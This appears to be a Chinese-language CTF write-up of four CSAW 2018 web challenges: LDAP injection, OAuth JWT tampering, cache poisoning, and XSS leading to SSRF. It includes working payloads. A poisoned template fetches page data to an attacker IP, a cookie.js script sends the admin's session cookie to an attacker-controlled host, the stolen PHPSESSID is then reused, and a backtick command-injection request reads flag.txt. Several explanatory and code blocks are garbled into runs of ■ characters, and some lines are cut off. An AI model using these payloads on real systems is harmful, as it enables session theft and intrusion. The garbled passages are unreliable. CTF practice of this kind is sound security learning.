CSAW 2018 部分web Writeup

落花四月 / 2018-11-25 08:08:00 / 浏览数 2863 安全技术 CTF 顶(0) 踩(0)

CSAW 2018 部分web Writeup

CSAW的题目质量相当不错，有一定的难度，有一段时间没有打过CTF了，实力退步的很明显,现在题目环境还没关，继续水一水啦(滑稽.jpg)

如果有对题目了解不深刻的地方，欢迎各位大师傅指出，感激不尽。

Ldab

```
dab
http://web.chal.csaw.io:8080
```

默认进来题目有一个搜索框，感觉是和数据库差不多的,打开界面显示如下信息。

```
OU  CN   SN GivenName   UID
Employees   pminksy Minsky  Petepminsky
Employees   bharley Harley  Bob bharley
Employees   jross   RossJakejross
Employees   fdawson Dawson  Fredfdawson
Employees   rcave   CaveRobert  rcave
Employees   XerxesHansenHansen  Xerxes  XerxesHansen
```

感觉就是数据库查询,fuzz了一波发现正常的sql注入不行，只有*可以正常使用

```
http://web.chal.csaw.io:8080/index.php?search=*
```

然后根据dab并没有搜到什么有用的东西，不过可以猜测这是一种数据库。

最后根据题目Ldab的提示在stackoverflow中可以搜索到如下清晰的解释

```
LDAP is a protocol for accessing directories, SQL is a query language for databases.

Both systems store data, but the big difference is: directories (like Active Directory) are tuned towards a lot more reads tha

SQL databases on the other hand are geared towards a more balanced load of read and write, and thus, writes must also be as ea

So this boils down to:

if you have data (like user accounts, permissions) that are mostly read (but not very often updated), then a directory sounds

if you need to frequently insert new data and update existing data, then a database is much more suited to your needs. Don't t

Those distinctions aren't "absolute" or clear - it's often a judgment call whether to put something into your database, or whe
```

这样就可以知道这两种都是基于数据库，直接搜索LDAP注入payload。

最后我在这里直接搜索到了payload

如下

```
*)(uid=*))(|(uid=*
```

如果有想学ldap的小伙伴，可以参考LDAP基础概念，可以对这道题了解更加深入，不过我感觉大致和sql差不多。

SSO

```
Don't you love undocumented APIs
Be the `admin` you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details
Aesthetic update for chal at Sun 7:25 AM
```

主界面如下

```
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
 <a href="/protected">.</a>
```

```
<!--
Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route
--!>
```

将这几个连接逐个访问

```
GET /protected
Missing header: Authorization

POST /oauth2/token
incorrect grant_type

POST /oauth2/authorize
response_type not code
```

并没有获得什么信息，所以关注点就在OAUTH2.0上了。

在阮一峰老师这里有对OAUTH2.0的讲述，非常明了。

从阮老师的博客我们可以看到用户的授权模式分为:

```
■■■■■■authorization code■
■■■■■implicit■
■■■■■resource owner password credentials■
■■■■■■client credentials■
```

不过根据关键字FULL OAUTH2.0我们可以看到这里的考察点是授权码模式
然后逐步授权的步骤如下

```
■A■■■■■■■■■■■■■■■■■■■■■■
■B■■■■■■■■■■■■■■■
■C■■■■■■■■■■■■■■■■■■■■■■■■■■■■"■■■URI"■redirection URI■■■■■■■■■■■■
■D■■■■■■■■■■■■■■■"■■■URI"■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■E■■■■■■■■■■■■■■■■URI■■■■■■■■■■■■■■■■■■access token■■■■■■■refresh token■■
```

可以知道我们第一步就需要获取授权码。然后用自己的服务器接收授权码，在向题目服务器申请令牌，最后在信息不变的情况下再带着信息访问题目主界面。

```
■A■■■■■■■■■■■■■■■■■■■■■■

response_type■■■■■■■■■■■■■■■■■■■"code"
client_id■■■■■■■ID■■■■
redirect_uri■■■■■■URI■■■■
scope■■■■■■■■■■■■■■
state■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
```

再根据阮老师给出的例子，我构造出如下包

```
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

response_type=code&redirect_uri=http://188.xxx.xxx.xxx:12345&client_id=theKingOfNight
```

返回如下

```
HTTP/1.1 302 Found
Location: http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZ
Content-Type: text/html; charset=utf-8
Content-Length: 577
Date: Sun, 30 Sep 2018 14:04:28 GMT
Connection: close

Redirecting to <a href="http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2Z
```

根据经验，可以知道这是jwt，直接在线解密，不过没什么东西

```
{
 "client_id": "theKingOfNight",
 "redirect_uri": "http://188.xxx.xxx.xxx:12345",
 "iat": 1538316268,
 "exp": 1538316868
}
```

在这里就成功获得了code，然后下一步就是获取令牌了，获取token的参数如下：

```
grant_type■■■■■■■■■■■■■■■■■■■■■■"authorization_code"■
code■■■■■■■■■■■■■■■■■
redirect_uri■■■■■■URI■■■■■■■■■A■■■■■■■■■■■■■
client_id■■■■■■ID■■■■■
```

继续参考阮老师给出的代码事例，构造出包。

```
POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 330
          grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJl
```

返回如下

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sun, 30 Sep 2018 14:07:28 GMT
Connection: close
 {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6
```

如果不成功的话，记得重新多做几次，会成功的
这段token解密为

```
{
 "type": "user",
 "secret": "ufoundme!",
 "iat": 1538316448,
 "exp": 1538317048
}
```

直接用这段token去访问/protected

```
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Content-Length: 41
Date: Sun, 30 Sep 2018 14:28:27 GMT
Connection: close

You must be admin to access this resource
```

调整为admin，secret设置为他给的secret

```
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzgzMTY0NDgsImV4cCI6MT
```

然后好像服务器的admin部分崩了??????

Hacker Movie Club

```
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movie

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/
```

这个题不错，看起来很厉害(虽然确实也很厉害)...

主界面是这样

```
Hacker Movie Club
NameYearLength
WarGames19831 Hour, 54 Minutes
Kung Fury   20150 Hours, 31 Minutes
Sneakers19922 Hours, 6 Minutes
Swordfish   20011 Hour, 39 Minutes
The Karate Kid  19842 Hours, 6 Minutes
Ghost in the Shell  19951 Hour, 23 Minutes
Serial Experiments Lain 19985 Hours, 16 Minutes
The Matrix  19992 Hours, 16 Minutes
Blade Runner19821 Hour, 57 Minutes
Blade Runner 2049   20172 Hours, 43 Minutes
Hackers 19951 Hour, 47 Minutes
TRON19821 Hour, 36 Minutes
Tron: Legacy20102 Hours, 5 Minutes
Minority Report 20022 Hours, 25 Minutes
eXistenZ19992 Hours, 37 Minutes
```

主界面的代码如下（去掉style）:

```
<html>
<head>
<script data-src="mustache.min.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<style>
@import url('https://fonts.googleapis.com/css?family=Orbitron');
<script src="/cdn.js"></script>
<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>
```

app.js

```
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
 document.getElementById("captcha").parentElement.style.display='block';
 document.getElementById('report').disabled = true;
 hidden = false;
 return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
```

这里有个`// The admin is on her way to check the page`，这里就需要想到如何获取管理员的东西。而且这里

`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`这里是取一个网站的模板文件，

而且不是本网站，就需要考虑获得一定权限后可不可以访问外网，同源跨域的问题等等这里不是很熟悉。

app.js----response

```
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Oct 2018 04:26:41 GMT
Content-Type: application/javascript
Content-Length: 1631
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 340597 4142388
Age: 43
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: close
```

这里app.js的返回包头部信息我们可以看到

```
Access-Control-Allow-Origin: *
```

允许的范围特别广，这应该就是一个漏洞，这里就可以思考题目可不可以访问到我们的服务器

```
X-Varnish: 340597 4142388
```

这个东西没有见过，后续理思路的时候在用。
cdn.js

```
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}
```

正如访问如下的返回包

可以看到这里将获取到的`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`

添加上'

```
X-Forwarded-Host':820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137    ■■■
```

```
GET /cdn/mustache.min.js HTTP/1.1
Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
Origin: http://app.hm.vulnerable.services
X-Forwarded-Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
If-None-Match: "1536960042.0-9553-2615478926"
If-Modified-Since: Fri, 14 Sep 2018 21:20:42 GMT
Accept-Encoding: gzip, deflate
Connection: close
```

/cdn/main.mst

```
<div class="header">
Hacker Movie Club
</div>

{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}

<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
 {{^admin_only}}
<tr>
 <td>{{ name }}</td>
 <td>{{ year }}</td>
 <td>{{ length }}</td>
</tr>
 {{/admin_only}}
{{/movies}}
</tbody>
</table>

<div class="captcha">
 <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
```

很明显这是一个模板文件

之前有做过一道cdn的题，就是admin访问一个不存在的模板文件，然后用户利用cdn直接得到管理员的权限...

这道题有些不同

/movies

```
{
"admin": false,
"movies": [{
"admin_only": false,
"length": "1 Hour, 54 Minutes",
"name": "WarGames",
"year": 1983
},
 ..........
{
"admin_only": true,
"length": "22 Hours, 17 Minutes",
"name": "[REDACTED]",
"year": 2018
}]
}
```

这里可以看到只有一个admin_only为True，尝试将这里改为flase

```
GET /api/movies HTTP/1.1
Host: app.hm.vulnerable.services
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close


Burpsuite
Do intercept >Response to this request
■■■■■■■■■
```

然后就会显示出来默认设置为true的那项，所以这里可以知道我们的目标就是获取admin的界面，flag应该就在其中。

```
Hacker Movie Club
NameYearLength
WarGames19831 Hour, 54 Minutes
Kung Fury   20150 Hours, 31 Minutes
Sneakers19922 Hours, 6 Minutes
Swordfish   20011 Hour, 39 Minutes
The Karate Kid  19842 Hours, 6 Minutes
Ghost in the Shell  19951 Hour, 23 Minutes
Serial Experiments Lain 19985 Hours, 16 Minutes
The Matrix  19992 Hours, 16 Minutes
Blade Runner19821 Hour, 57 Minutes
Blade Runner 2049   20172 Hours, 43 Minutes
Hackers 19951 Hour, 47 Minutes
TRON19821 Hour, 36 Minutes
Tron: Legacy20102 Hours, 5 Minutes
Minority Report 20022 Hours, 25 Minutes
eXistenZ19992 Hours, 37 Minutes
[REDACTED]  201822 Hours, 17 Minutes
```

这下思路就比较清晰了

```
app.js ----> Access-Control-Allow-Origin: *
■■■■■ ---->X-Varnish:
■■■■■----->X-Forwarded-Host
admin■■■■■---->/cdn/main.mst
■■■■■■■■■■■■■■■■.....
```

Origin: *这么大应该是需要我们的服务器的，admin的模板文件暴露出来，可能需要我们来充当admin，然后没有什么可以交互的地方，

所以关注点就停留在了X-Varnish和X-Forwarded-Host上罕见的东西一般是一个比较简单的考点，期望这个东西可以带来意想不到的效果.....

手册给出如下解释....

X-Forwarded-Host:

```
X-Forwarded-Host■XFH■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■Host■ HTTP ■■■■■

■■■■■■■■■■■CDN■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■X-Forwarded-Host■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ IP ■■■■■■■■■■■■■■■■■■■■■■■

■■■X-Forwarded-Host: <host>
X-Forwarded-Host: id42.example-cdn.com
```

好像没什么用

X-Varnish

```
■■■web cache?

Web■■■■■■Web■■(■html■■■■■■js■■■■■■■■Web■■■■■■■(■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■URL■■■■■■

varnish■■■

varnish■■■■■■■■■■■http■■■■■■■■■■
```

这里就可以知道如果我们服务器的文件被缓存下来就可以搞事情了。

直接搜索X-Forwarded-Host+X-Varnish漏洞利用

这里我参考了这篇[利用HTTP host头攻击的技术]

这里重点关注缓存污染，而且介绍了X-Forwarded-Host头部的危险性

```
■■■■X-Forwarded-Host■■■■
/cdn/mustache.min.js
/cdn/app.js
■■■■■■■■■■
get options
get■■X-Forwarded-Host■■■
options■■
■■■■■■■■options■■■■■get■■■(■■■■■■■■■■■■■■■■■■■■)
```

所以这里我们需要控制第一个(get)，然后后续访问我们的缓存

直接burp

```
spiner->clear$
payload->type->Null payload
  ->Continue indefinitely
Options->thread 20■■
```

我反复发了如下包(当然是没有这个域名的)

```
GET /cdn/app.js HTTP/1.1
Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
Origin: http://app.hm.vulnerable.services
X-Forwarded-Host: the.King.Of.Night
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
```

然后打开浏览器，访问(这里我用的谷歌)

```
F12->Network■■■■■main.mst■■■
■■■■Failed to load response data
blob:http://app.hm.vulnerable.services/d4432a3a-0c26-4a04-a01b-8efab0d71dc9:5 GET http://the.king.of.night/cdn/main.mst 0 ()
(anonymous) @ blob:http://app.hm.vulnerable.services/d4432a3a-0c26-4a04-a01b-8efab0d71dc9:5
```

这里可以看到we did it!!!!

不过我设置的X-Forwarded-Host: the.King.Of.Night，变成了the.king.of.night，好像和域名都是小写字母一样吧

剩下目标就很明确了，我们要成为admin，在服务器上根据admin的模板文件进行布置

在服务器上布置app.js,main.mst，继续无限发包

main.mst

```
<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>
```

```
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
<tr>
 <td>{{ name }}</td>
 <td>{{ year }}</td>
 <td>{{ length }}</td>
</tr>
{{/movies}}
</tbody>
</table>

<div class="captcha">
 <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://188.xxx.xxx.xxx/'+'{{#movies}}{{ name }}{{/movies}}')">
```

app.js

```
var token = null;

Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//188.xxx.xxx.xxx/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);

grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
 document.getElementById("captcha").parentElement.style.display='block';
 document.getElementById('report').disabled = true;
 hidden = false;
 return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
```

一段时间后出现如下

```
Failed to load http://188.xxx.xxx.xxx/cdn/main.mst:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Origin 'http://app.hm.vulnerable.services' is therefore not allowed access.
If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
(index):1 Uncaught (in promise) TypeError: Failed to fetch
Promise.then (async)
(anonymous) @ blob:http://app.hm.vulnerable.services/2a2a5c2b-f0cb-4879-b216-7b408b57cc8d:16
```

意思就是说我们服务器的返回包需要有Access-Control-Allow-Origin这个字段，这样就很简单了，直接搜索如何返回头部添加，

默认的apache2好像稍微麻烦一点。

直接搜索头部加CORS的方法,使用如下python代码

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)
```

这里有一个坑,只有burp开着代理本地访问网页才能成功，如果走代理的话是访问不到的。

访问即得flag可以稍微等待一哈在访问题目

这个题做了好久，不过涨见识了,脑子是个好东西...

No Vulnerable Services

```
No Vulnerable Services is a company founded on the idea that all websites should be secure. We use the latest web security sta
Be #unhackable.
http://no.vulnerable.services/
```

正常打开界面，主界面返回包的头部如下

```
HTTP/1.1 200 OK
Date: Wed, 03 Oct 2018 01:48:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
X-Served-By: d8a50228.ip.no.vulnerable.services
Content-Security-Policy: default-src 'none'; script-src *.no.vulnerable.services https://www.google.com/ https://www.gstatic.c
Content-Length: 6943
Connection: close
Content-Type: text/html; charset=UTF-8
```

关注点在两个上

```
X-Served-By: d8a50228.ip.no.vulnerable.services
Content-Security-Policy:······
```

fuzz一波可以发现这里指代的应该是ip,我在这里解密

```
d8a50228->216.165.2.40
```

尝试将这里改为我服务器的ip

```
http://bcxxxxxxx.ip.no.vulnerable.services/
```

发现可以正常访问,显示了我服务器的主页。

再来看看CSP

Content-Security-Policy(CSP)的东西比较多，直接采用谷歌的CSP检测工具检测

检测出如下问题

```
High severity finding
*error*
---
**script-src**
*   Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
------
*.no.vulnerable.services
*   No bypass found; make sure that this URL doesn't serve JSONP replies or Angular libraries.
-------
https://www.google.com/
*   www.google.com is known to host JSONP endpoints which allow to bypass this CSP.
-------
https://www.gstatic.com/
*   www.gstatic.com is known to host Angular libraries which allow to bypass this CSP.
*
```

只有一个可以与网站交互的地方

```
Get in touch
Give us your email address and a description of your company and we'll reach out when we have capacity.

[Your Email Address]

[Tell us about your company]

(Get Started)
```

如何使题目访问到我们的服务器就是一个值得思考的问题，最终采用如下方式

```
admin@qq.com
<script type="text/javascript" src="//bcxxxxx.ip.no.vulnerable.services/cookie.js"></script>
```

为了方便，这里采用一个简易的python服务器

```
try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler


class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
print(self.headers)
SimpleHTTPRequestHandler.do_GET(self)

if __name__ == '__main__':
test(MyHandler, HTTPServer)
```

用来获取访问的头部，同时在服务器上放置如下脚本
cookie.js

```
var img = document.createElement("img");
img.src = "http://bcxxxxxx.ip.no.vulnerable.services/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
```

这里有一个坑点，就是得需要进行谷歌的人机验证，否则无法正常传输数据到网站那边，应该得fu强成功访问后，得到如下信息

```
Thank you
We'll review your application shortly and reach out when we have capacity.
```

同时服务器接收了如下信息

```
216.165.2.40 - - [03/Oct/2018 12:33:56] "GET /cookie.js HTTP/1.1" 200 -
Host: bcxxxxxx.ip.no.vulnerable.services
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 HeadlessChrome
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://admin.no.vulnerable.services/review.php?id=2652
Accept-Encoding: gzip, deflate

216.165.2.40 - - [03/Oct/2018 12:33:57] "GET /?cookie=PHPSESSID=k0qfm8ptanuevpbu0shsjmohc9 HTTP/1.1" 200 -
```

在这里我们可以得到

```
Safari■■■
admin.no.vulnerable.services/review.php?id=2652
admin■cookie=PHPSESSID=k0qfm8ptanuevpbu0shsjmohc9
```

使用这个cookie访问`admin.no.vulnerable.services`

```
<html>
 <head>
<title>NVS INTERNAL - Admin</title>
 </head>
 <body>
<p>Current Visitors: 500</p>
<p>Quick links:</p>
<ul>
 <li><a href="//support.no.vulnerable.services">Support</a></li>
 <li><a href="lb.php">Load Balancers - BETA</a></li>
</ul>
 </body>
</html>
```

lb.php

```
Beta Loadbalancer Stats
Online - HealthyOnline - Unhealthy  Offline
216.165.2.4110.20.0.10
10.20.0.11
10.20.0.12
```

这里通过ip的方式大致推断216.165.2.41是一个代理服务器，直接访问是

```
404 Not Found
nginx/1.14.0 (Ubuntu)
```

`support.no.vulnerable.services`无法访问，猜测需要获取ip

```
ping support.no.vulnerable.services
■■ Ping support.no.vulnerable.services [172.16.2.5] ■■ 32 ■■■■■:
```

将ip转换为为16进制继续访问

```
http://ac100205.no.vulnerable.services/
■■■■■■■
■■■ http://ac100205.no.vulnerable.services/ ■■■■■■■■■■■■■■■■■■■■■■■■■■■■
```

然后就涉及到知识盲区了，看wp之后，震惊，没想到burp还有这种功能

之前的理解是Target就是Host，不过这里学到了，具体什么情况只可意会不可言传

```
Target:support.no.vulnerable.services

GET / HTTP/1.1
Host: support.no.vulnerable.services
```

```
GET / HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
```

什么也没有返回

Target:http://216.165.2.41:80

```
GET / HTTP/1.1
Host: 216.165.2.41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
--------------
response
--------------
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>



GET / HTTP/1.1
Host:support.no.vulnerable.services
.......
--------------
reponse
--------------
Hacking detected! Denied attempt to proxy to a NVS internal hostname. Your IP has been logged.



GET / HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
......
--------------
response
--------------
<html>
<head>
<title>NVS INTERNAL - Support</title>
</head>
<body>
<h1>NVS Support</h1>
<h3>General Debugging Steps</h3>
<ol>
<li>Tell the customer to turn it off and back on again.</li>
<li>Blame the customer for making a change.</li>
<li>Use the tools below to check for networking issues.</li>
</ol>
<hr/>
<h3>Tools</h3>
<p>Ping</p>
<form action="ping.php" method="get">
<input type="text" name="dest" placeholder="IP or hostname" />
<input type="submit" value="Ping" />
</form>
</body>
</html>
```

刚开始测试的时候主界面没有出来，后来就好了

最后的paylaod

```
GET /ping.php?dest=127.0.0.1`cat%20flag.txt` HTTP/1.1
Host: ac100205.ip.no.vulnerable.services
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
```

对题目的一点点思考

这里题目调用谷歌的api，而且有相应的域名，所以理论上部分信息应该是可以被谷歌搜索到的(纯属个人思考，有问题欢迎大师傅指出，多多交流)

```
site:*.no.vulnerable.services
```

可以直接搜索到http://admin.no.vulnerable.services/login.php，不过需要登陆，但是提供了一些信息

```
<html>
<head>
<title>NVS INTERNAL - Login</title>
</head>
<body>
<form action="login.php" method="POST">
<input type="text" name="user" />
<input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</body>
</html>
```

而且看到子域名类的题目应该直接采用Seay的Layer子域名挖掘机

```
admin--->216.165.2.40
support--->172.16.2.5--->172.16.2.5 [redacted].([redacted],[redacted]
static--->216.165.2.40--->Forbidden
······([redacted],[redacted]+[redacted])
```

这道题目可以直接收集到的域名和对应的ip地址，会方便很多，直接提供一个大局观的思考,更加方便的做题。

参考资料：

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection

http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/

https://cloud.tencent.com/developer/section/1190030

http://drops.xmd5.com/static/drops/papers-1383.html

点击收藏 | 0 关注 | 1

上一篇：Windows版本QQ锁定可被绕过 下一篇：数据库逆向工程（一）

1. 2 条回复

theking0fn**** 2019-03-01 10:46:42

这个就尴尬了

0 回复Ta

---

theking0fn**** 2019-03-01 16:21:10

@theking0fn** 这里丢个原文链接
https://www.jianshu.com/p/5c8dedd93d18

0 回复Ta

登录 后跟帖

先知社区
